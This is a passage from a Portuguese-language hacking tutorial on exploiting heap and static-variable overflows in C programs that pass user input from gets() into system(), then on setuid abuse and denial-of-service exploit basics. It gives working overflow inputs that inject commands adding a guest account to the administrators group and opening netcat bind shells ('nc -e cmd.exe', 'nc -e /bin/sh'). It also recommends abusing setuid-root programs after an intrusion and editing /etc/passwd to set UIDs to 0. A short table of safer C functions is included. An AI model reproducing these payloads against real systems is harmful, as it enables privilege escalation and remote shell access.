executamos comandos com os privilegios  do dono do  programa. Demonstrarei um exemplo 
de exploracao simples, no qual sobrescrevemos "ponteiros". 


Exemplo I.: Sobrescrevendo pointers.


-- cut -- 

#include <stdio.h>
#include <stdlib.h>

main (){
     
     char *pointer_one;
     char *pointer_two;
     
     pointer_one= (char *) malloc (10);
     pointer_two= (char *) malloc (10);
     
     system ("cls & color a");
     printf ("Endereco fisico de pointer_one: %d\n", pointer_one);
     printf ("Endereco fisico de pointer_two: %d\n", pointer_two);
      
     puts ("");

     fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one);
     fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two);
     
     sprintf (pointer_two, "echo Bem vindo a %s irmao", "Matrix"); 
     puts ("\nMe diga seu nome:");
     gets (pointer_one);
     
    
     system (pointer_two);
     
}
     
-- cut -- 


Execucao normal do programa:


Endereco fisico de pointer_one: 4007096
Endereco fisico de pointer_two: 4007120

Endereco virtual de pointer_one: 0022FF74   
Endereco virtual de pointer_two: 0022FF70    <--- Ponteiro ocupa 4 bytes na memoria. 
                                                  
Me diga seu nome:
David
Bem vindo a Matrix irmao

C:\>


Observe os enderecos acima.

4007096  -->  pointer_one
4007120  -->  pointer_two


A heap armazena dados do menor endereco para o maior nesse caso. Veja  que o primeiro 
ponteiro declarado foi a pointer_one, portanto ele que sera' alocado primeiro. Repare  
agora que o pointer 'pointer_two' se inicia exatamente 24 bytes dpois do buffer1.


4007096 + 24 = 4007120 (4007120 e' o endereco de pointer_two)


"Nos" ao escrevermos o codigo do programa nao reservamos/mallocamos 24 bytes na memoria, 
na  verdade  apenas  malocamos na  heap 10 bytes, o que acontece  e' que  esses 14 bytes 
adicionais sao usados  pela  syscall  (chamada de sistema) 'malloc' para  permitir que a 
memoria retorne ao uso geral quando  a mesma for liberada ('free()'), esses bytes extras 
variam de acordo com o ambiente. Agora vamos a exploracao. 


C:\>call heap_overflow.exe

Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128

Endereco virtual de pointer_one: 0022FF74
Endereco virtual de pointer_two: 0022FF70

Me diga seu nome:
Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add
Comando concluído com êxito.


C:\>net localgroup administradores
Nome de alias      administradores
Comentário         

Membros

-------------------------------------------------------------------------------
Administrador
Convidado
David
Comando concluído com êxito.


C:\>


O comando  'net localgroup administradores convidado /add' e' o  comando  que eleva os 
privilegios da conta de convidado, nesse caso. 'net' (digite net /?' para ver um leque 
de possibilidades que o windows dispoe) localgroup  (parametro do utilitario 'net' que 
visualiza  e  modifica  informacoes sobre grupos)  administradores (Grupo de 'admins') 
convidado (nome da  conta que  pretendo  inserir no grupo de admins) /add  addiciona o 
user convidado ao grupo de administradores. 


Repare no seguinte:


Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128


O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres 
(cada um equivalente a 1 byte) transbordaremos os enderecos na Heap.


Um exeplo mais explicativo:


Meu nome e 6_Bl4ck9_f0x6net...
0123456789ABCDEF01234567     


Meu nome e 6_Bl4ck9_f0x6net...
123456789'123456789'1234
^________^^________^^__^
    |         |      ||
 10 bytes  10 bytes  4 bytes = 24. O 'n' estara' no endreco do comando. 


Bem, ja que sabemos que a funcao system() executa o comando que esta' no endereco 4007128, 
que esta' localizado ao lado do  pointer_one, "ja que o mesmo foi declarado depois deste", 
entao nos alcancamos o  endereco de memoria  deste sem  misterio. Fuzzing 'TRADICIONAL' em 
aplicacoes para descobertas de falhas de heap overflow ocorrem de maneira  similar ao pro-
cesso de  fuzzing  em  aplicacoes  que se utilizam  da stack, ou seja, se "debugarmos" uma 
aplicacao que executa uma determinada acao no sistema se utilizando de system(), 'execl()' 
ou  alguma  outra syscall  similar  que executa  comandos 50 bytes (por exemplo) depois do 
primeiro ponteiro  declarado, basta corrompermos a memoria ate' encostarmos no endereco do 
comando como usual. 


Veja um exemplo:


-- heap_bug.c -- 

#include <stdio.h>
#include <stdlib.h>

main (){
     
     char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5;
      
     pointer_1 = (char *) malloc (10);
     pointer_2 = (char *) malloc (10);
     pointer_3 = (char *) malloc (10);
     pointer_4 = (char *) malloc (10);
     pointer_5 = (char *) malloc (10);
     
     system ("cls & color a");
     printf ("Endereco fisico de pointer_one: %d\n", pointer_1);
     printf ("Endereco fisico de pointer_5  : %d\n", pointer_5);
      
     puts ("");

     sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix"); 
     puts ("\nMe diga seu nome:");
     gets (pointer_1);
     
    
     system (pointer_5);
     
}

-- cut here -- 


Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_5  : 4007200


Me diga seu nome:
Meu nome eh 6_Bl4ck9_f0x6 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'!!!!!!!' não é reconhecido como um comando interno
ou externo, um programa operável ou um arquivo em lotes.

C:\Documents and Settings\David>


Voltaremos !!!!!!! (7) bytes. Volte 7 bytes e digite o comando. Pronto, o programa foi 
explorado com sucesso. A comunidade de seguranca ja' divulgou diveras vulnerabilidades 
em aplicacoes famosas como o sendmail que eram vulneraveis  a esse tipo de falha. 


Exploracao atraves de variaveis estaticas:

-- cut -- 

#include <stdio.h>
#include <stdlib.h>

main (){
     
     static char name[20]; 
     static char command[50];
     
     system ("cls & color a");
     printf ("Endereco fisico de name   : %d\n", name);
     printf ("Endereco fisico de command: %d\n", command);
      
     puts (""); // To skip a line

     sprintf (command, "echo Bem vindo a %s!", "Matrix"); 
     puts ("\nMe diga seu nome:");
     gets (name);
     
     system (command);
}

-- cut this file here --  


Endereco fisico de name   : 4210704
Endereco fisico de command: 4210736

Me diga seu nome:
11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe
listening on [any] 55 ...
connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022


Depois de um 'telnet IP PORTA':

 
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>


Imagine insercoes de linhas no inetd nos Unixes com o comando 'echo'. Pois os privilegios 
do programa tem muita  probabilidade de ser de usuario root. Existem muitos sysops que se  
utilizam do netcat como cliente para conexoes e inclusives distribuicoes Linux que dispo-
nibilizam o  mesmo por  default. Existem  muitas  formas  de  protecao, apenas  uma sera' 
descrita nesse documento. Observe que ao invez da  utilizacao da  funcao  'gets()' para a
obtencao e repasse de dados de  usuarios para  as variaveis, podemos utilizar a 'fgets()'
para tal, pois 'gets()' nao faz controle algum do numero de bytes a serem repassados para
a area de memoria reservada para a variavel.


Pequena tabela de funcoes perigosas e de funcoes que substituem as tais.


       +-------------------+-------------------------------------------+
       |Funcoes "perigosas"|             Suposta solucao               |
       +-------------------+-------------------------------------------+
       |    sprintf()      |  snprintf(destino, numero_bts, origem);   |
       +-------------------+-------------------------------------------+
       |     gets()        |char *fgets (char *str, int len, FILE *pt);|
       +-------------------+-------------------------------------------+
       |    scanf()        |   Use especificadores de tamanho!!        | 
       +-------------------+-------------------------------------------+
       |    strcpy()       |             strncpy()                     |
       +-------------------+-------------------------------------------+
       |    strcat()       |             strncat()                     |
       +-------------------+-------------------------------------------+
      

Todas as funcoes que copiam dados sao perigosas, e cabe a voce, se utilizar de
funcoes seguras para controle dos dados que serao copiados.


Observe:


 -- cut -- 

#include <stdio.h>
#include <stdlib.h>

main (){
     
     static char name[20]; 
     static char command[50];
     
     system ("cls & color a");
     printf ("Endereco fisico de name   : %d\n", name);
     printf ("Endereco fisico de command: %d\n", command);
      
     puts (""); // To skip a line

     sprintf (command, "echo Bem vindo a %s!", "Matrix"); 
     puts ("\nMe diga seu nome:");
     fgets (name, 5, stdin);       // <--- Note
     
     system (command);
     
}

-- cut --


Me diga seu nome:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bem vindo a Matrix!

C:\>


Ele vai copiar apenas 5 bytes para a variavel estatica 'name', impedindo a exploracao
deste programa.


6.0 - Entendendo o SetUID


O UID nada mais e', como o proprio nome ja da a entender (User IDentifier - IDentificador 
de Usuario ou User IDentification - IDentificacao de usuario), um  identificador de usua-
rios, todos os usuarios devidamente cadastratos em  sistemas Unix/Linux  possuem seu pro-
prio UID. O UID e' um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes 
de fazer determinadas operacoes. O UID '0' equivale a usuario root no  Linux. Quando que-
remos adicionar um usuario no sistema por exemplo, o kernel  verifica  qual e' o 'UID' do 
usuario que emitiu o comando adduser por exemplo (Comando p/ addicionar usarios ao siste-
ma), se ele checar o UID 0, ele deixar o usuario  ser cadastrado nos arquivos /etc/passwd 
e /etc/shadow (arquivos que gravam dados dos usuarios, como senhas e identificadores). Se 
o UID do usuario emissor do comando adduser nao for '0', simplesmente  temos  um aviso de 
permissao negada. Setuid e' bem simples de ser entendido, este e' o  comando  para marcar 
arquivos com setuid:


chmod +s /caminho/do/programa


ls -l (long) fara' uma listagem  completa do arquivo, voce vera' o 's' nas permissoes do 
file (identificador de aplicacao setada com bit de super usuario). 


6_Bl4ck9_f0x6@Vipera:~/Desktop$ sudo chmod u+s vulnerable
6_Bl4ck9_f0x6@Vipera:~/Desktop$ ls -l vulnerable
-rwsr-xr-x 1 root fox7 7558 2005-01-01 07:03 vulnerable


O dono do programa acima (vulnerable) e' o usuario root, para marcar o bit suid sobre
esse elf me  utilizei do  comando sudo, que  possibilita a  execucao de comandos como 
super usuario, pois  apenas  usuario com 'UID 0'  podem  emitir o comando chmod com o 
parametro +s (Que marca o bit suid). O que fiz acima  foi setar o elf vulnerable para
"executar  comandos como  usuario root" sem  precisar  estar logado  com tal usuario. 
Observe o atributo 's' que representa  o setuid, nesse  caso  o programa  estara' com 
permissoes de root. Se o programa adduser  estivesse  marcado com  bitsuid ( seu dono 
for root) voce  podera'  adicionar usuarios ao  sistema  como root. Para ver o UID de 
usuarios digite o comando 'id' seguido do  nome de usuario ou apenas  'id' para ver o 
UID do usario corrente.


Exemplo:


6_Bl4ck9_f0x6@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)


Acima estou logado como usuario Black_Fox, meu UID e' 1002, nao posso adicionar 
usuarios ao sistema, porque  meu  UID nao  e' zero. Digite  'su' (comando usado 
para mudar  o usuario  atualmente logado)  na shell (interpretador de comandos), 
ele vai pedir senha, a digite e tecle [Enter], voce estara' como root e podera' 
marcar bit suid em qualquer elf. Se quiser se  logar com  qualquer  outra conta 
basta digitar 'su outra_conta', se digitar apenas 'su', o Linux vai inferir que 
voce quer se logar como root. 


chmod +s /bin/adduser


Isso acima faz com que o 'EUID' do adduser seja setado como 0, que e' o UID do 
user que emitiu o comando, que tambem e' dono da aplicacao (root).



  -- Nota ---------------------------------------------------------------------

  Na verdade nao vamos setar o "UID" do  usuario corrente, pois  programas que 
  trabalham com setuid  continuam sendo executados com o 'UID' de seu usuario/
  executor. O que acontece e' que quando  executamos  um programa  marcado com 
  setuid, o  Linux  verificara'  um  atributo  chamado 'EUID'  - Efective User 
  IDentification, ou simplesmente  identificador  "DE EXECUCAO", que vai estar 
  setado com o UID de um usuario qualquer, '0' nesse  caso. E' a IDentificacao 
  efetiva  de  usuario, que  setaremos. Quando  executamos  arquivos, o kernel 
  verifica o UID do user, nao permitindo a execucao do elf  caso a acao neces-
  site de UID 0. Entao a verificacao do EUID - ID de execucao, do arquivo, que 
  sera' checada. Ainda  existe o EGID que funciona de forma similar ao EUID, o 
  que difere e' que EGID e' a identificacao de execucao de grupo.

  sh-3.1# id
  uid=0(root) gid=1008(fox7) egid=0(root) grupos=1008(fox7)

  -----------------------------------------------------------------------------


Para executar comandos com permissoes de root sem precisar ficar logado na conta, 
basta  digitar o  parametro '-c' do 'su', este  parametro executa um  comando com 
permissoes de um user e depois retorna ao user que chamou o comando. 


Exemplo:


sh-3.1$ su root -c "comando"
Password:    

Para fazer logout de uma conta acessada com o su basta que digite o comando exit para 
voltar ao usuario anterior. Todos os  hackers visam  arquivos com  setuid root, sendo 
quase que obrigatorio uma busca com o find pelos mesmos no sistema  apos uma invasao. 
Os  perigos  que  cercam aplicacoes  com bitsuid sao  bastante  relevantes, tome como 
exemplo uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a 
'0', isso significa que podemos usar este programa para executar  nossos  comandos no 
sistema  com os  privilegios de  usuario  root, explorando o mesmo. Procedimento esse 
demonstrado anteriormente.



6.1 - .Movie


Temos acesso a uma conta nao privilegiada  no sistema, de alguma  forma estamos no 
sistema. No Linux portas  abaixo de 1024  apenas podem ser aberta por admins/root, 
mas encontramos no sistema uma aplicacao com  setuid root, ou seja, roda com o bit 
'suid'. Esta aplicacao tem um bug de Heap Overflow. 

Abrindo portas abaixo de 1024 com o netcat:


We have control on unprivileged account in  the system, in Unix systems ports below 
1024 only can be opened by root users (UID 0), but we found a application marked as
root by the sysadmin and this application has a bug, heap overflow.        

Opening ports below 1024 with netcat:
 

sh-3.1$ pwd
/home/Black_Fox
sh-3.1$ bash
Black_Fox@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)
Black_Fox@Black_Machine:-$ gcc -o overrun Buffer_Overrun.c 
/tmp/ccC9ImLu.o: In function `main':
Buffer_Overrun.c:(.text+0x9b): warning: the `gets' function is dangerous and should not be
used.
Black_Fox@Black_Machine:-$ ls -la overrun 
-rwxr-xr-x 1 Black_Fox Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ su -c "chown root overrun; chmod +s overrun"
Password:
Black_Fox@Black_Machine:-$ ls -la overrun
-rwsr-sr-x 1 root Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ nc -l -p 22 -vv -e /bin/sh
Can't grab 0.0.0.0:22 with bind : Permission denied 
Black_Fox@Black_Machine:-$ ./overrun
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6
Bem vindo a Matrix
Black_Fox@Black_Machine:-$ ./overrun  
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6 ->nc -l -p 22 -vv -e /bin/sh
listening on [any] 22 ...

[+1]+ Stopped                 ./overrun  
Black_Fox@Black_Machine:-$ echo Obrigado
Obrigado
Black_Fox@Black_Machine:-$ fg 1
./overrun 


              ********************************************************
              [img] http://www.hunterhacker.xpg.com.br/heap.png [/img]
              ********************************************************


Voce podera' fazer diversas acoes maliciosas nos sistemas invadidos  atraves de uma 
aplicacao bugada, como inserir linhas no /etc/passwd ou fazer pequenas modificacoes 
no mesmo, como  alteracao de  UIDs de  usario ( setando-o(s) para '0' por exemplo). 
Dependera' de seu nivel de conhecimento em Unixes em geral  pois esse  texto apenas 
demonstra  como  ocorre e como  explorar  tal falha  de seguranca. No proximo texto 
demonstrarei tecnicas para descobertas de  aplicacoes  vulneraveis, que se utilizam 
de execl(), system() e syscalls do genero.




7.0 - Desenvolvendo exploits de Denial of Service 


Quando uma aplicacao retorna para um endereco  de memoria  invalido (stack overflow) ocorre 
o fechamento da aplicacao. O que sera'  descrito abaixo e'  apenas um  simples  guia para o
desenvolvimento de ferramentas capazes de fechar servidores remotos, sem a minima pretencao 
de exploracao para obtencao de shell ou bind de portas para um posterior acesso. Toda a ba-
se desses exploits (ou uma grande parte deles) escritos em C, e' a mesma. O memset(); - set 
memory - setar memoria.


Prototipo:


memset (string_destino, 'caractere', numero_de_bytes_a_setar);


Isso equivale a setar a  memoria no endereco da string  de destino. A base  dos exploits de 
D.o.S (Como de overflow em geral) e'  enviar um  buffer muito grande, "normalmente" (quando 
se trata de servidores de FTP) devemos  mandar ('send()') o comando  que nao gerencia dados 
de forma adequada pela aplicacao  servidora, ou seja, na aplicacao remota  existe um buffer 
que nao possui um limite  de  dados para  alocacao na  memoria, o que  precisamos  fazer e'  
mandar dados de forma a lotar a area de memoria remota responsavel pela construcao do stack
frame de alguma  funcao, com a  pretencao  de  alcancarmos o endereco  de retorno e faze-lo 
retornar para uma  regiao de  memoria "invalida". Brevemente  estarei  lhes  mostrando como 
achar  enderecos estaticos  nas APIs para  "exploracao"  remota. Por hora o intuito e' der-
rubar o servidor, depois da emissao de muitos dados. Bem, como  ja  mencionado precisaremos 
enviar um buffer suficientemente grande logo apos  um  comando ('por exemplo') interpretado  
pelo servidor, assim fazendo um dado  numero de bytes iniciais fazerem com que aja chamadas  
para funcoes internas no programa, assim  fazendo o mesmo entrar  em crash (fechar), devido 
ao nao controle do fluxo de dados para seus respectivos stack frames na memoria.
 

 -- cut -- 

#include <stdio.h>
#include <string.h>

int caracters;

main (){

  char setp[50]="The final result: ";  
 
  caracters=strlen (setp);             // <-- Atribui o numero de bytes da variavel
  memset (setp +caracters, 'S', 0x10); // 10 (hexadecinal) equivale a 16 em decimal
 
  puts (setp);                         // Imprime o buffer na tela
  system ("pause");
}
 
-- cut -- 

Result:

The final result: SSSSSSSSSSSSSSSS
Pressione qualquer tecla para continuar. . .


Nesse exemplo tenho um buffer local que suporta 50 bytes, poderia enviar o comando seguido 
do buffer cheio de S's, mas para isso teria que usar a funcao memset e determinar o numero 
de bytes logo apos o comando, caso contrario o 'memset()' sobrescrevereria o comando, veja 
este trecho:

 
caracters=strlen (setp);        


Note que pego o numero de bytes da variavel setp. 


memset (setp +caracters, 'S', 0x10);    


Comeco a  setar a memoria a partir  do numero de bytes  definido na variavel caracteres. 
Utilizo no  primeiro  parametro da funcao o '+caracteres', ou seja, o exploit escrevera' 
no buffer de destino 'a partir' do numero de letras da variavel. Espacos em branco entre 
uma palavra e outra na mesma string equivalem a caracteres. Veja:

char exemplo[]="ABOR ";

Veja que existe um espaco depois da letra 'R'. Existe uma versao do Sami FTP vulneravel 
a este comando seguido de muitos bytes (Stack Overflow), como tantos outros servidores.


8.0 - Useful links and reference


     http://undergroundsecurityresources.blogspot.com/   

     ============================================================
     Tutorial Basico do gcc e entendendo as etapas de compilacao

     Link: http://www.usrfiles.xpg.com.br/gcc_tuto_2.txt
     ------------------------------------------------------------
     Buffer Overflow by Andre Pau No Cuh Amorim
     
     Parte1:

     Link: http://www.hunterhacker.xpg.com.br/Pen1.rar
     Senha: paunocuh

     Parte2:
              
     Link: http://www.hunterhacker.xpg.com.br/Pen2.rar
     Senha: paunocuh

     Acesse: www.metasploit-br.org
     ============================================================


Um cordial abraco.


[]`s

by 

6_Bl4ck9_f0x6 - Viper Corp Group